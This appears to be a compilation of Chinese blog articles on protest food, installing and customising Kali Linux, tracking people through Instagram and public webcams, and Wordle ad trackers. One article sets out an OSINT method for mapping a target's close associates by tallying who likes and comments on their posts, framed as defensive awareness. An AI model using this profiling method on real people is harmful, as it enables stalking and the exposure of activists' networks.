“我们在这里待了两个星期，人们把自己的整个年假都放在抗议现场了。但是大家需要食物，热食，否则人们会变得脾气暴躁。我们很多人不想在这里，但我们更害怕不在这里 。”

标准激进主义者的燃料似乎严重依赖便携的谷物棒，但是持续时间更长的抗议部署又该如何呢？

就如绿色和平组织那样的抗议活动。从攀登伦敦碎片大厦到占领石油钻塔，绿色和平组织以其大胆的直接行动任务而闻名； 该慈善机构的新闻官 **Graham Thompson** 曾经在西伯顿（**West Burton**）发电站的烟囱上驻扎了一个星期。

Thompson 说，在这类行动中，自加热式军用配给包提供了一种高科技（且营养丰富）的解决方案。绿色和平组织始终使用纯素食食品：典型的包装包括蔬菜咖喱、蔬菜辣椒或蔬菜面食。

Thompson 笑着说：“我想说的是，这些食物的味道比你想象的要差很多。”他补充说， 你可以携带多少水经常就是维权人士可以坚持多久的限制因素。

「图」

「图」

绿色和平组织的成员完全是素食主义者，大部分（如果不是全部的话）是绝对素食主义者，向工作人员提供补给的主要是素食主义者午餐，但是也有一些肉食者在那里工作。

Thompson 说：“人们一直在说减少个人碳足迹是不可思议的事，但是这不是他们那些解决方案可以解决的问题。您需要最高级别的改变。”

查塔姆研究所主任 Tim Benton 同意这一立场，他也是今年政府间气候变化专门委员会关于食物、土地和气候的报告的作者。他说，“我们确实必须改变饮食习惯，因为 Extinction Rebellion 组织的鼓声已

经在后台响起”，我们都是其他人或过去的政策制定者设计的系统中的参与者。

无论是激进主义的燃料、象征着生活方式的选择、出于宗教或政治目的、还是仅仅出于个人品味，食物都绝不仅仅是我们所吃的东西。并且，无论您关注 Extinction Rebellion 组织的动态快讯，还是着眼于喂饱其活动家的系统，该运动都为所有人提供了很多的思考机会。〇

1843 Dan Hancox

原文

如何开始使用 Kali Linux：2020 - iyouport

你应该了解的现实少数派报告

【2020年10月30日存档】以最简单的方式迅速投入使用

自 BackTrack 时代以来，Kali Linux 已经走过了漫长的道路，它仍然被广泛认为是渗透测试的终极 Linux 发行版。该系统已经经历了相当大的转变，包括更新的外观、改进的性能和一些使用方式的重大变化。

Offensive Security 是基于 Debian 的 Kali Linux 系统背后的团队。Kali 是众所周知的黑客工具，您可以将它作为您的主系统安装（不推荐），使用双启动，在虚拟工作站中使用，或者在U盘上创建一个便携的实时版本。

Null Byte 介绍了一个指南，这是一个非常快速、简单的过程，您只需要一步步地做就行了。当然，您还可以继续在此基础上更为深入地设置自定义。

上图中这本书在这里下载：https://www.patreon.com/posts/kai-yuan-qing-ke-38160197

Kali Linux 中有什么新功能？

「图」

在2019年底发布的 Kali Linux 2019.4 版本中，Offensive Security 对 Kali 的外观和感觉做出了重大改变。而其在2020年1月发布的 2020.1 更新则是在新的基础上进行的。

也许最重要的更新是默认的桌面环境，现在是 Xfce，这一改变主要是为了解决与性能有关的问题。对于大多数用户来说，GNOME 是矫枉过正的，而像 Xfce 这样的轻量级桌面环境可以提供更低的开销，从而实现更敏捷、更快速的性能。

对于所有 GNOME 的死忠粉来说，之前的桌面环境依然支持，甚至还带有更新的 GTK3 主题。

其他新功能包括引入卧底模式、新的 public packaging 和文档流程、更新 Kali NetHunter、增加 PowerShell、非root用户现在是默认的，以及其他bug修复和更新。

选择合适的 Kali Linux

「图」

首先，请导航至 kali.org 并转到下载页面，您可以在其中选择各种镜像。

现有的镜像包括64位和32位架构的 Kali Linux（通过 Installer）、Lite 版（通过 NetInstaller）和 Live 版，还有 ARM 架构和 VMware 及 VirtualBox 虚拟机的下载链接。您想如何使用 Kali 完全取决于您。

- “**Installer**” 包括默认软件包的副本，您可以稍后在没有互联网连接的情况下使用它们安装Kali。如果Kali是您的主要操作系统或双启动系统的一部分，这些都是不错的选择。为了在不牺牲您的首选主系统的情况下获得最佳性能，最好采用双启动。
- “**NetInstaller**” 比 Installer 要小得多，因为它们不包含要安装的软件包的副本。只有在您没有足够的带宽下载完整版本的情况下才建议使用它，因为您可能会在以后想安装缺少的软件包。
- “**Live**” 是用于在USB闪存驱动器或光盘上运行 Kali。如果您想要一个可以插入任何电脑的便携式黑客机器，这些都是不错的选择。
- “**VM**” 是为了在主系统上安装 Kali 作为虚拟机。兼容的两个虚拟环境是 VirtualBox（免费）和 VMware Workstation（不免费）。这些都是不错的选择，因为您可以在一台电脑上练习系统之间的黑客攻击，这可以防止您违反任何网络安全法。但请记住，需要有相当数量的内存才能让一切顺利运行，而且要进行任何无线黑客攻击，您需要一个外部的无线适配器，最好设置为监视模式。
- “**ARM** “ 只针对使用ARM架构的设备，如 Pinebook、Raspberry Pi 和 CuBox-i 等设备。
- 没有列出用于移动设备的 Kali **NetHunter** 镜像，但您可以在 Offensive Security 的网站上找到。它们适用于各种 Android

设备，如 OnePlus、索尼 Xperia 和 Nexus。

如果您想运行旧版本的 Kali，可以访问这里的索引。虽然 Kali 2020.1用非 root 用户取代了 root 用户作为默认，但您可能希望安装此前的2019版本，这仍然会给您提供大多数最新的功能。本指南将安装 2019.4 版本作为主要系统，因为想要保持 root 用户默认。

确定要如何运行 Kali 后，单击镜像名以下载它。您也可以点击“Torrent” 链接，如果这样可以更好地完成工作的话。

安装 Kali Linux

「图」

现在已经下载了 Kali 2019.4 64-Bit 安装程序镜像，并将ISO刻录到磁盘上，这就是今天要展示的内容。打开安装程序后，启动菜单提供了几个选项。我们就简单点，进行图形化安装。建议至少20GB的磁盘空间。

但您需要知道：

- “ Live（amd64）” 选项将直接将您引导到 Kali，但是所有内容都会保存到RAM中，而不是硬盘中，因此，当您关闭 Kali 时所有内容都会丢失。
- “ Live（amd64 failsafe）” 基本同上，如果要对有故障的计算机进行故障排除，这是一个不错的选择。
- “Live（取证模式）” 选项主要用于恢复主机上的文件、收集证据等。您可以在Kali的网站上阅读更多的信息。
- “ Live USB Persistence” 选项是为了当您想把 Kali 安装在U盘上时，让您有机会检查主机系统，而不用担心运行或锁定的进程。任何保存在桌面上的文件，如报告、日志、转储等，都会保存到U盘上，并在下次启动 Kali 时可用。您可以在Kali的网站上阅读更多关于它的信息。
- “Live USB 持久加密” 选项和上面一样，只是驱动器也使用 LUKS 加密的。如果您使用的是 Live USB，为什么不把它安全化呢？您可以在Kali的网站上阅读更多关于它的信息。
- **“Install”** 选项用于在内部硬驱上安装Kali，但您只会得到经典的文本模式安装程序来指导您完成该过程。
- **“Graphical Install”** 选项为您提供了带有图形用户界面的Kali安装程序，使其易于使用。本指南将使用它。
- **“Advanced options”** 菜单项包含 “硬件检测工具” 和 “内存诊

断工具” 的选项，这些选项仅对诊断有用。

接下来，选择语言和键盘布局选项。

然后，输入系统的主机名。

然后，为 root 用户设置一个密码。记住，如果您安装的是 2020.1 或更高版本，默认没有 root 用户，只有非 root 用户，但您也可以为用户设置自定义密码。

现在，设置所需的时区以配置时钟：

接下来可以开始对磁盘进行分区。这里将再次使其简单化，并使用 “引导” 模式。就本案例而言，是“user entire disk” 模式。

配置完所有内容后，更改将被写入磁盘。

安装将开始。可能需要一些时间。

网络镜像可用于在安装过程中更新软件。如果您已连接到网络，通常这样做很有意义。

还需要安装GRUB引导加载程序才能引导操作系统。

最终安装完成。现在可以重新启动计算机并启动到新系统中。

一旦 Kali 启动，您将看到一个新的登录提示，它看起来与 Kali 2019.3 和更早的版本有很大不同。如果您安装了 2019.4，凭证将是您选择的主机名和您创建的root密码，或者您创建的非root用户名和密码。对于2020.1及以后的版本，”kali” 和 “kali” 是某些安装的默认标准用户凭证，比如在 VirtualBox 中。(以前默认的root用户凭证是 “root” 和 “toor”。)

现在您可以看到使用 Xfce 环境重新设计的桌面。

图标、文件系统和终端都有了新的主题。您可能需要一些时间来适应新环境。另外建议您马上在 Kali 中安装一些工具，包括Git、终端多路复用器、Tor、代码编辑器等等。

- 不要错过 《安装 Kali Linux 之后要做的10件事》

左上角的应用程序菜单，由 Kali 图标描绘，是您所有工具和设置的地

方。黑客工具是按主题分类的，从社交工程到后期开发到密码攻击。虽然应用程序的图形用户界面菜单很好，但您也可以从终端窗口中的命令行界面启动任何这些工具。

新的卧底模式如何工作

「图」

Kali 现在有一个卧底模式，设计成在普通人看来就像 Windows。如果您需要在公共场合或专业测试中看起来不那么可疑，这就很方便了。只需在终端输入 **kali-undercover** 即可运行脚本并改变环境。

甚至菜单和文件管理器也被设计为很像 Windows。

要恢复到正常的桌面环境，只需在终端中再次输入命令。

PowerShell 如何在新 Kali 中工作

「图」

Kali 现在包含了 PowerShell，使其能够轻松地在系统上使用和执行 PowerShell 脚本。它可以通过软件包管理器进行安装。如果您不是root用户，请在下面的命令开头加上 **sudo**。

```
~# apt install powershell

Reading package lists... Done

Building dependency tree

Reading state information... Done

...
```

要运行它，只需在终端中输入 **pwsh**。

```
~# pwsh

PowerShell 6.2.3

Copyright (c) Microsoft Corporation. All rights
reserved.
```

```
https://aka.ms/pscore6-docs

Type 'help' to get help.

PS /root」
```

2020.1 及更高版本中的默认非 root 用户

「图」

如果您安装了 2020.1 或更高版本，您必须创建一个管理员用户和一个 root 用户。要在root上使用 Kali，可以使用 **sudo -s** 或 **sudo -i** 或 **sudo su** 在您当前的 shell 中获得它。您也可以在得到 root 提示后为 root 创建一个密码；使用 **passwd root** 并创建密码。之后，您就可以在您的 shell 中使用 **su** 打开 root 权限了。

另外，您也可以使用 **sudo** 如下面的命令设置无密码的权限。

```
~$ sudo apt install -y kali-grant-root &amp;&amp;
sudo dpkg-reconfigure kali-grant-root
```

其他特性

「图」

Kali 还有其他一些新功能。内核曾在 2019.4 更新到 5.3.9 版本，目前已经达到 5.5.17。另一个新增功能是使用 BTRFS（b-tree文件系统），它允许在裸机安装上回滚更改，就像虚拟机中使用的快照功能一样。

2019.4 版本的 Kali 也是最后一个支持 8GB SD卡的 ARM 版本，所以如果您想要的是 2020.1 或更高版本，您需要一张16GB的卡。Kali NetHunter 也得到了更新。还有新的 NetHunter Kex，一个 HDMI 输出可以连接到 Android 设备，加上蓝牙键盘和鼠标。它基本上可以直接从手机上创建一个完整的 Kali 桌面体验。

最后

「图」

这篇文章介绍了最新的 Kali Linux版本，它们的新特性，并演示了任

何新手都可以使用的基本安装。对于更高级的安装，如果您想要验证校验和，用 Windows、Mac 或 Linux 双启动 Kali，加密磁盘等等，请查看Kali的官方文档。

这依旧是您所熟知和喜爱的老 Kali，但有了新的外观和更好的性能。有了这些令人激动的新变化，有一点是肯定的 —— Kali Linux 仍然是渗透测试的王者。〇

上图中这本书在这里下载：https://www.patreon.com/posts/hei-ke-zhu-yi-li-38216579

Get Started with Kali Linux in 2020

原文

如何挖掘目标人社交关系网？- 连锅端利器 - iYouPort

你应该了解的现实少数派报告

重要人际关系切勿在互联网上以任何形式体现！

「图」

「图」

再次强调 安全**101**：重要的人际关系切勿在互联网上以任何形式体现！是*任何*。否则您和您的同伴都有可能陷入危险。

我们曾经介绍过这种追踪方式，见《如何挖掘目标人隐藏的人际关系？》。这里是 osintcombine 介绍的一种也许是更有效的追踪方法。

在社交媒体世界中，确定一个人的真正社交关系网可能是一个挑战，因为要追踪的平台太多了，而且其中很多平台并不限制谁可以关注您、或默认情况下你可以关注的人（例如 Twitter 和 Instagram）。☞这意味着朋友列表和关注者/被关注列表不能准确描绘真实的合作/私人关系。

在这种情况下可以使用的一种方法是分析社会互动指标，以计算出个人所处的真实群体。

这意味着什么？ —— 意味着捕获用户发表的帖子的点赞或评论，并根据用户与他人互动的频率将用户集群分为几类。

⚠ 仅分析 Facebook 上一个用户的6张照片以确定谁通常点赞这些照片，基本就可以非常准确地确定目标人的共同圈子。

有时，在分析伪造的个人资料时也有用，它可以揭示个人资料背后的真实人物，因为不专业的伪装会展示出较差的情报技术、并且其兴趣通常会显得很假。

⚠特别提醒使用袜子木偶掩护真实身份时的注意事项：不要穿帮！在这里看到全部：《分身术完整指南：妥善管理您的在线身份并获得安全的方法》。

OSINT Combine 介绍了这种方法的操作《Connecting the dots – social engagement clusters on Facebook & Instagram》您可以尝试一下，采取对抗性思考方式，以了解您在使用这些社交媒体平台时应该如何保护自己。

What & Why?

「图」

「图」

How?—概念解释

首先介绍该概念，然后详细说明如何在每个平台上执行该操作。这将为调查过程奠定基础，因为这一过程几乎可以在具有用户交互指标（例如，点赞和评论）的任何社交媒体平台上重复进行。

高级流程：

「图」

「图」

使用上面的概念，可以发现一种简单且可重复的方法就是：#刮取帖子的点赞和评论，并将用户名的结果放在电子表格的单个列中。

- 对尽可能多的照片/评论重复此操作，并继续将用户名添加到列表中，以创建一个名字的长列表，其中将包含很多重复项。
- 利用这些重复项来计算同一用户出现的频率，以识别常规社交圈子/普通组织的集群。

1. 从已确定的联系人列表中与之交谈的关键人员为线索找到该人或确定其他要调查的关键点

- 在集群中查看模式或个人资料图像可能会识别出失踪人员曾经与之互动的虚假个人资料

1. 基于互动的社交网络，以识别与目标人进行交流的其他人是否可确认为圈子、同伴/同事

- 掌握与关键目标人互动的频率，以了解个人之间的生活模式
- 识别最近的已知活动、以及目标人与谁在一起

声明：本文中详述的所有技术仅用于教育目的，为了帮助您构建更好的防御，不可伤害无辜的人。〇

《Connecting the dots – social engagement clusters on Facebook & Instagram》

原文

如何通过 Instagram 轻松追踪目标人在城市中的一举一动？ - iyouport

你应该了解的现实生物识别-眼下最严重的威胁，以及怎么办

【2020年7月15日存档】即便您自己没有发布社交媒体帖子，也可以使用同样的方法被追踪到

当您在公共场所创建和发布 Instagram 内容时，您可能已经无意间提供了比您想像的更多的有关您自己和行为的信息。

随着无处不在的监视与源源不断的社交媒体数据的交叉，在公共场所识别一个人已经变得异常地容易。

通过将公共网络监视摄像头中仅一小时的视频片段与在时代广场拍摄并发布的 Instagram 故事进行交叉参考，BuzzFeed News 可以确认六个人的真实姓名和身份。

现代城市充满了成千上万的监视摄像机，其中许多摄像机不断收集公共场所中人物的图像。

尽管一些城市已经采取行动限制在警务中使用面部识别，但几乎没有得到任何控制，对于更为通用的面向公众的监控摄像头，它们能够捕获每个人及其在城市之间的任何活动，以供警察、寡头公司、也包括普通民众使用。

在美国，没有法律规定公司或个人可以保留这些图像多长时间、或将其用于什么用途。（BuzzFeed 未使用任何面部识别软件来识别时代广场中的人）

近年来CCTV摄像头已经呈现爆炸性增长。据非官方估计，伦敦（据报道是中国以外全球受监视最多的城市）的摄像机数量为每14人一台。

- 《全球大规模监视的崛起：我们是如何走到这一步田地的？》

与此同时，社交媒体的兴起意味着数十亿人一直在网上公开发布自己的照片。每天，仅在 Instagram 上，全世界就有超过5亿人分享照片或视频。

☞这意味着，通过使用地理标签和主题标签跟踪从同一位置发布的帖子，可以在人流量较高的公共场所使用公共网络监视摄像头，从而轻松地在镜头中找到 Instagram 用户本人。

尽管这种方法理论上对于任何带有位置标记的应用程序和平台都是可行的，但是 Instagram 是一种特别有效的识别方法 —— 因为默认情况下它是公开的 —— 在应用程序设置中需要执行多个步骤才能将您的帐户设置为私有帐户，并且它拥有超过10亿个帐户的基础。

例如，Instagram 具有丰富的图像和视频内容，而不是纯文本推文或 Facebook 更新，这一事实也产生了巨大的变化，因为观看者可以在捕捉到一段录像片段时得出用户站立时的确切位置。

☞在许多情况下，我们仅仅通过搜索社交媒体就发现了个人详细信息，包括职业、地址、电话号码和联系方式。

- 《你不应该在社交媒体上说的话》

在Google上搜索只花了几分钟，即可找到有关个人的更多详细信息。

- 《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》
- 《攻防皆可用：GoogleDorking 高级运算符完整列表》
- 《如何知道有人正在线人肉你？6个简单的方法》

为了保护用户的隐私，BuzzFeed 在这里没有透露他们的身份，并且已经删除了收集的有关他们的数据。

⚠这种详细程度强调了人们在社交媒体上不经意间透露了多少致命信息，无论是在网上说的话还是在公共场所拍摄的影像。这类信息可以被任何追踪者所使用，并对您构建详细的个人监视档案。

☞例如，当局可以使用公开的网络监视摄像头来拍摄发生抗议活动的区域。通过查看抗议者在任何特定地点实时发布的 Instagram 故事，当局可以使用其他摄像机来识别抗议者、并跟踪他们在整个城市的活动，包括到达抗议现场之前以及之后的活动。

☞就算您没有发布社交媒体帖子，当局也可以通过面部识别技术来识别 Instagram 帖子背景中出现的其他人，并以此方式进行跟踪。

在这次模拟监视实验中，BuzzFeed 从旅游和监视公司 EarthCam 的摄像头开始，该摄像头免费在线流式传输实时镜头，还使任何人都可以访问回溯镜头，也就是前几天的镜头。

EarthCam 是少数几家将监视相机放置在人流密集区域的公司之一，从旅游热点如时代广场和安迪·沃霍尔的坟墓到大学校园，到处都是；然后，同步了 EarthCam 在线发布的流媒体素材，并将它们与标记为时代广场的 Instagram 帖子进行了比较。

为了向您展示这是如何做到的，BuzzFeed 新闻的 Hayes Brown 充当了演示用的小白鼠。

将 Hayes 送到时代广场，在那里他四处游荡，并发布了街头艺人、连锁餐厅和他本人的 Instagram 帖子。

Hayes 记录到游客坐在八月酷暑中闷热的楼梯上，街头表演者穿着全身皮卡丘服装，以及纽约著名的街头艺人裸体牛仔在旅游巴士驶过时弹吉他。

同时，从安装在时代广场周围的 EarthCam 摄像机拍摄的影像中提取了大约一个小时的镜头。

然后搜索了同时间发布的 Instagram 帖子并进行了记录。根据他的 Instagram 帖子中出现的人物和场景，可以准确地确定 Hayes 在时代广场的位置。

在进行该实验的过程中，识别他并跟踪他的动作的过程与识别半打其他私人个人的方法相同。

⚠在视频素材中识别了 Hayes 之后，我们可以准确地绘制出他在整个时代广场中移动的位置，并观察他的一举一动，即使他并没有在线分享。

例如，Hayes 与裸体牛仔进行了自拍合影，但是他从未发布过。而监视者依旧可以看到，是通过监控 EarthCam 的镜头拍摄的影像看到的。

如果在时代广场外面继续进行这项跟踪实验，那么只要能够访问包括纽约交通摄像头在内的其他公开监视摄像头，就可以很容易地在城市的其他地方绘制目标人的完整路线图。

此前查看的许多 Instagram 帖子都是在时代广场周围闲逛的人的镜

头，其中包括游客、表演者和在该地区工作的人。

⚠尽管发帖的人并没有注意到，但在他们拍摄的内容的背景中出现的其他所有人，都将被用同样的方法进行追踪监视。

“原则上，我们认为人们应该自行决定是否要公开或私下分享。就像在互联网上公开发布的任何照片一样，他人可能会未经许可使用它们，从而有意料之外的风险。” Instagram 说。

EarthCam 执行董事 Lisa Kelly 说：“如今，每个人都在举着手机走来走去。”并指出，某些 EarthCam 照相机的标语上写着 “您已经进入 EarthCam 监控区请保持微笑”。

“这是否表明人们可能不知道那里有监视器？可能吧，但是我们也正处于一个每个人都拥有手机的时代，任何人都可以拍摄其他人的时代，”她补充说。

当涉及大城市空间的隐私时，这项分析明确提出了一个中心冲突。

从手机到网络摄像头，现在有如此多的个人镜头资源，以至于警察、私人公司、或几乎任何人都可以很容易地长时间追踪某个目标人的一举一动。而且，只有面部质量和行为识别之类的视频分析工具可以用于任何质量足够高的视频片段，问题才变得更加复杂。

隐私权活动家说，城市生活这一事实对个人的隐私和自由构成了明显的威胁，我们在放弃权利的情况下甚至没有意识到自己正在这样做。

华盛顿大学的隐私研究人员和博士生 Os Keyes 说：“当您将多个数据源结合在一起时，就可以跟踪城市中的任何特定人员。不仅新闻工作者可以这样做，Palantir 和 FBI 那种间谍也经常会这样做。”

众议员 Alexandria Ocasio-Cortez 以及旧金山和奥克兰的议员都在拉响有关视频监控的警报，特别是当它与面部识别技术有关时。

EarthCam 表示，它使用可能的最高分辨率的相机为其视频分析提供了最佳基础，这些已成为该公司的收入来源。

“由于我们的相机具有很高的分辨率，因此我们已经与基于不同类型软件的大公司一起探讨了潜力。标准将是行人数量、车辆通行和安全性。” EarthCam 的 Kelly 说。

“我们会永远保留一些镜头。我们有很多存储空间，目前，我们大概

有有数万亿张图像，还有一个巨大的储存库可供我们尝试使技术变得更智能。”

⚠她补充说，该公司无限期地存储一些视频 —— 自1996年 EarthCam 成立以来，该公司一直保存着一些镜头。

对监视摄像机激增的担忧远远早于当前对面部识别及其禁止运动的担忧。但是人脸识别就是依赖于高分辨率相机的，并且镜头有助于公司和政府机构提高收集和快速分析大量数据的能力。而且别忘了，个人还可以使用自己的手机摄像头为这些素材库做出贡献 —— 人们太喜欢拍照上传了。

- 《你曾经在社交网络上发布过自己的照片？你危险了》

BuzzFeed News 采访的专家说，EarthCam 和其他类似的监视相机具有足够高的分辨率，可供第三方使用面部识别软件。

EarthCam 表示，其相机可帮助人们进入他们原本无法访问的地方。例如，残疾人士或没有钱去旅行的人，可以从他们的笔记本电脑和手机中查看遥远的旅游目的地。

但是该公司对外部人员将人工或自动分析应用于其监视视频的做法几乎无能为力。

Hutson 说，不仅在城市环境或交通繁忙的环境中，像亚马逊的 Ring 之类的新企业还将监视摄像头放在人们的家门上，形成一种数字邻里圆形监狱，这危害了人们的隐私权。

- 《亚马逊帮助警方构建了一个广泛的监控网络》

摄像机的存在以及随之而来的分析技术在美国这样的国家面临着一个特殊的困境。保护汽车乘客在交通停车站拍摄警察暴力行为的摄录权或记者拍摄示威游行的摄录权的相同法律，也可以保护私人公司在公共场所监视的能力。

但是，隐私倡导者表示，收集和分析视频素材非常简单，就等于搜索。这颠覆了公民必须同意进行搜索的原则，那些没做错任何事的人也会遭遇任意搜索。

许多隐私权活动家将高分辨率相机和随附的视频分析视为对人权的颠覆。除非不出门，否则没有真正的方法可以避免在公共场所被拍摄 —— 这意味着无法实践任何有意义的 “知情同意”。

纽约警察通常需要获得许可才能从私营企业获取监控摄像机录像。但是对于公开镜头，其中包括在公共场所被流媒体监视摄像机拍到人以及在 Instagram 上发布了视频的人，警察可以像其他任何人一样随意访问和分析这些镜头。

EarthCam 表示，在警察提供适当文件的情况下，它已收到并遵守了警察对其录像的要求。

监视技术监督项目执行总监 Albert Fox Cahn 指出，这与最高法院去年作出的具有里程碑意义的裁决（*Carpenter v. United States*）相类似。该裁决认为，政府机构需要获得手令才能搜查手机信号塔数据以追踪他们想要的人。

- 《你的手机如何背叛了民主？》
- 《1200万部电话，一个数据集：利维坦眼中的世界》

Cahn 说："如果使用手机追踪我的行为违宪，那么追踪我的脸也应该违宪。这个问题的核心是，在没有任何证据表明人们从事犯罪活动时，这些工具可以使政府有多少能力监控每个人的一举一动。" ○

It's Scarily Easy To Track Someone Around A City Via Their Instagram Stories

原文

如您所知，Wordle 正在监视您 - iyouport

你应该了解的现实

这完全是意料之中的。但是，您不应该习以为常。

纽约时报收购 Wordle 还不到一个月，就以这类十亿美元巨头的所有低劣方式毁掉了人们最喜欢的文字游戏。你猜对了，这意味着它现在也被装上了广告追踪器。

这基本毫无疑问，大多数人都能意识到这点。时报在一个仍然可以免费玩的游戏上投入了七位数的资金（至少现在是这样），所以这些利润需要从某个地方收回来。一些精通代码的 Wordle 玩家偶然发现了这个 “地方”：十几个不同的追踪器被塞了进去。

有些追踪器来自纽约时报自己，但大多数是用来向谷歌等第三方机构发送数据的。(纽约时报拒绝就 Wordle 增加追踪器一事发表评论）。

恶心吗？当然，但这也是平庸至极。时报每个季度都有数千万美元的广告收入，而这些钱主要是靠向那些还没有付款的人推广订阅和类似的东西。因此，根据里面的内容，普通的 Wordle 玩家可能会成为目标，比如，时报的商品广告或订阅时报的印刷版。

相信对大多数人来说这似乎没什么。当然，这与人们一开始涌向 Wordle 的一些原因不一致，把2022年最健康和纯洁的部分变成了另一个抢钱的工具。但是，除非你是进入网站代码检查这些跟踪器的人，否则 Wordle 的外观和感觉仍与被收购前一样：“很好”。

直到你开始认真思考这个问题，你才能意识到，这是一个噩梦般的场景，而这样的系统可能会产生数十亿个噩梦。

创造广告追踪器*不仅仅*是为了把T恤衫和杯子的广告塞进你的所有时间线，它们也可以被用来进行彻底的监视 —— 有无数的案例表明，警察利用从这些糟糕的广告跟踪器中收集到的数据来追踪抗议者、移民和任何他们想要的人。而官员们经常使用的两家公司——谷歌和甲骨文（通过其臭名昭著的 Bluekai 子公司）—— 都与

Wordle 闪亮的新追踪器有关系。每当你打开页面查看当天的谜题，抱怨它有多难时，页面就会将监视你的细节反馈给这些公司—— 正如 Bluekai 自己的文件所述，它所收集的关于你的数据可能非常详细，最起码包括你在某个时间点上过该网站，而你的设备位于某个地点等等。

- 在这里看到详细解释《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

当然，广告技术公司可以（也会）采取更多的阴暗手段，时刻监视着你并收集更多的数据。但是，举个例子，如果警察想在你家周围设置一个地理围栏，跟踪哪些设备在特定时间在特定区域出现，他们也可以很容易地利用 **Bluekai** 的广告数据来获得这些地点和时间。现在，你周二下午在当地咖啡店玩 Wordle 的事实，成为了你其实没有犯罪但最终成为间谍机构的嫌疑人而被重点监控的原因。

这种绝对的恶梦几乎可以肯定不是才刚发生的—— 它就是监视资本主义的盈利模式；而且，这种情况也适用于你每天可能访问的大多数网站，而不仅仅是 Wordle。但是，真正可怕的部分是它至今仍然肆无忌惮。即使在最好的时候，数字广告行业也几乎没有受到监管，那里有成千上万的参与者，每个人都有自己的迷宫般的监视方式，将你的数据从一个应用程序、一个网站、一个有趣的小谜题游戏，发送到 …… 嗯，只要钱给得够数，想去哪就去哪。○

原文

安装 Kali Linux 之后要做的10件事 - iyouport

你应该了解的现实少数派报告

【2020年10月16日存档】像专业黑客那样工作 ……

默认情况下，Kali Linux 可能不具备轻松进行常规渗透测试所需的一切。但只需要通过一些技巧、窍门和应用程序，您就可以像专业的白帽黑客一样迅速开始使用 Kali。

大多数 Linux 发行版都是高度可定制的。这使得个性化渗透测试布局有些困难。而仅需几个命令，您就可以自动化任务、安装喜欢的软件、创建其他用户帐户、正确配置匿名软件、以及优化与终端的交互。

null-byte 介绍了一些方法。

1、安装Git

「图」

Git是一个开源软件版本控制应用程序。它可用于协作共享和编辑代码，但也经常被用于“克隆”GitHub上的代码存储库的主要工具。

对于渗透测试人员来说，Git 是必不可少的工具，尤其当您希望将工具集扩展到默认 Kali 存储库中可用的工具之外时。

可以使用以下 **apt-get** 命令安装 Git。

```
apt-get install git
```

2、配置Bash别名

「图」

Bash 别名非常适合创建自定义的命令行快捷方式。例如可以重新分配 **ls** 命令以自动使用您喜欢的参数。以下是普通 ls 输出的示例。

```
ls androidbins.txt folder-pictures.png
smtp.cracked text-x-generic.png bogus_gmail.creds
folder.png smtp.list Windows-10 dumpzilla-
b3075d1960874ce82ea76a5be9f58602afb61c39 package-
x-generic.png text-x-generic.ico 'Windows 10
Icons'
```

下面是创建 ls 别名之后再次输出的示例。

```
ls total 220K -rw------- 1 root root 15K Aug 24
2015 folder-pictures.png -rw------- 1 root root
8.7K Aug 24 2015 folder.png -rw------- 1 root root
11K Aug 24 2015 package-x-generic.png -rw------- 1
root root 5.5K Sep 3 2015 text-x-generic.png
drwxr-xr-x 12 root root 4.0K May 31 00:44 'Windows
10 Icons'/ drwxr-xr-x 18 root root 4.0K May 31
00:44 Windows-10/ -rwxr-x--- 1 root root 103K May
31 00:49 text-x-generic.ico* drwxr-xr-x 5 root
root 4.0K Jun 11 21:57 dumpzilla-
b3075d1960874ce82ea76a5be9f58602afb61c39/ -rw-r--
r-- 1 root root 52 Jul 5 18:13 bogus_gmail.creds -
rw-r--r-- 1 root root 15K Jul 5 18:28 smtp.list -
rw-r--r-- 1 root root 181 Jul 5 18:43 smtp.cracked
-rw-r--r-- 1 root root 23K Jul 23 18:18
androidbins.txt drwxr-xr-x 5 root root 4.0K Jul 23
19:22 ./ drwxr-xr-x 23 root root 4.0K Aug 9 04:25
../
```

得到的输出更加详细了。 ls 命令现在自动使用 **-l**, **-a**, **-t**, **-h**, 和 **-r** 参数。所有这些参数都将指示 ls 使用列表 (**-l**) 格式，列出所有 (**-a**) 文件 —— 包括隐藏文件 —— 并输出为人类可读 (**-h**) 的格式（例如 1K，234M， 5G）。

别名还将按修改时间 (**-t**) 对输出进行排序，还可以按反向 (**-r**) 排序以便令最近的修改出现在终端的底部。当然，您可以随意。

要创建别名，请使用 nano 或您喜欢的文本编辑器打开 /root/.bash_aliases，添加以下行以创建别名。

```
alias ls='ls --color=always -rthla'
```

还可以做更多，向 .bash_aliases 文件添加更多复杂的功能。以下是一个旨在使 Kali 保持最新状态的简单示例。

```
function apt-updater { apt-get update &amp;&amp;
apt-get dist-upgrade -Vy &amp;&amp; apt-get
autoremove -y &amp;&amp; apt-get autoclean
&amp;&amp; apt-get clean &amp;&amp; reboot }
```

保存对 .bash_aliases 文件所做的更改后，打开新终端以使更改生效。

运行新创建的 apt-updater 函数将调用一系列 apt-get 命令，这些命令将自动更新和维护您的系统。

如果前一个的命令失败，& 符号（**&&**）可确保该函数不会继续执行以下命令。

```
apt-updater
```

有关 Bash 别名的更多信息，可以查看 Kody 的文章 “为Wi-Fi数据包捕获设置MacOS系统”。

3、创建一个新的低权限用户

「图」

如 Chromium 浏览器和 Tor 浏览器等应用程序都不应该以 root 用户身份打开或使用。此类应用程序在很大程度上依赖于低级别权限来提供某种程度的安全性。为这些活动创建低特权用户帐户对于某些用户来说可能是有益的。

Takhion 写过一篇文章 “锁定Kali Linux以用于安全桌面使用”，其中详细介绍了这一概念，您可以参考。

4、安装一个终端复用器

「图」

复用器是一种平铺终端仿真器，它允许您在一个窗口内打开多个终端会话。

这样做的主要好处是能够立即看到所有打开的终端会话，而不是将窗口叠加在一起。以下是复用器的示例。

有许多值得注意的复用器。如上面的屏幕截图所示，Tilix 是一个开源且可靠的选项。还有其他替代方案包括 tmux 和 screen。

Tilix 可在 Kali 的 APT 存储库中使用，可以使用以下命令进行安装。

```
apt-get install tilix Reading package lists...
Done Building dependency tree Reading state
information... Done The following additional
packages will be installed: libgtkd-3-0
libphobos2-ldc-shared78 libvted-3-0 tilix-common
Suggested packages: python-nautilus The following
NEW packages will be installed: libgtkd-3-0
libphobos2-ldc-shared78 libvted-3-0 tilix tilix-
common 0 upgraded, 5 newly installed, 0 to remove
and 466 not upgraded. Need to get 10.7 MB of
archives. After this operation, 49.1 MB of
additional disk space will be used. Do you want to
continue? [Y/n] y
```

5、安装您喜欢的黑客工具

「图」

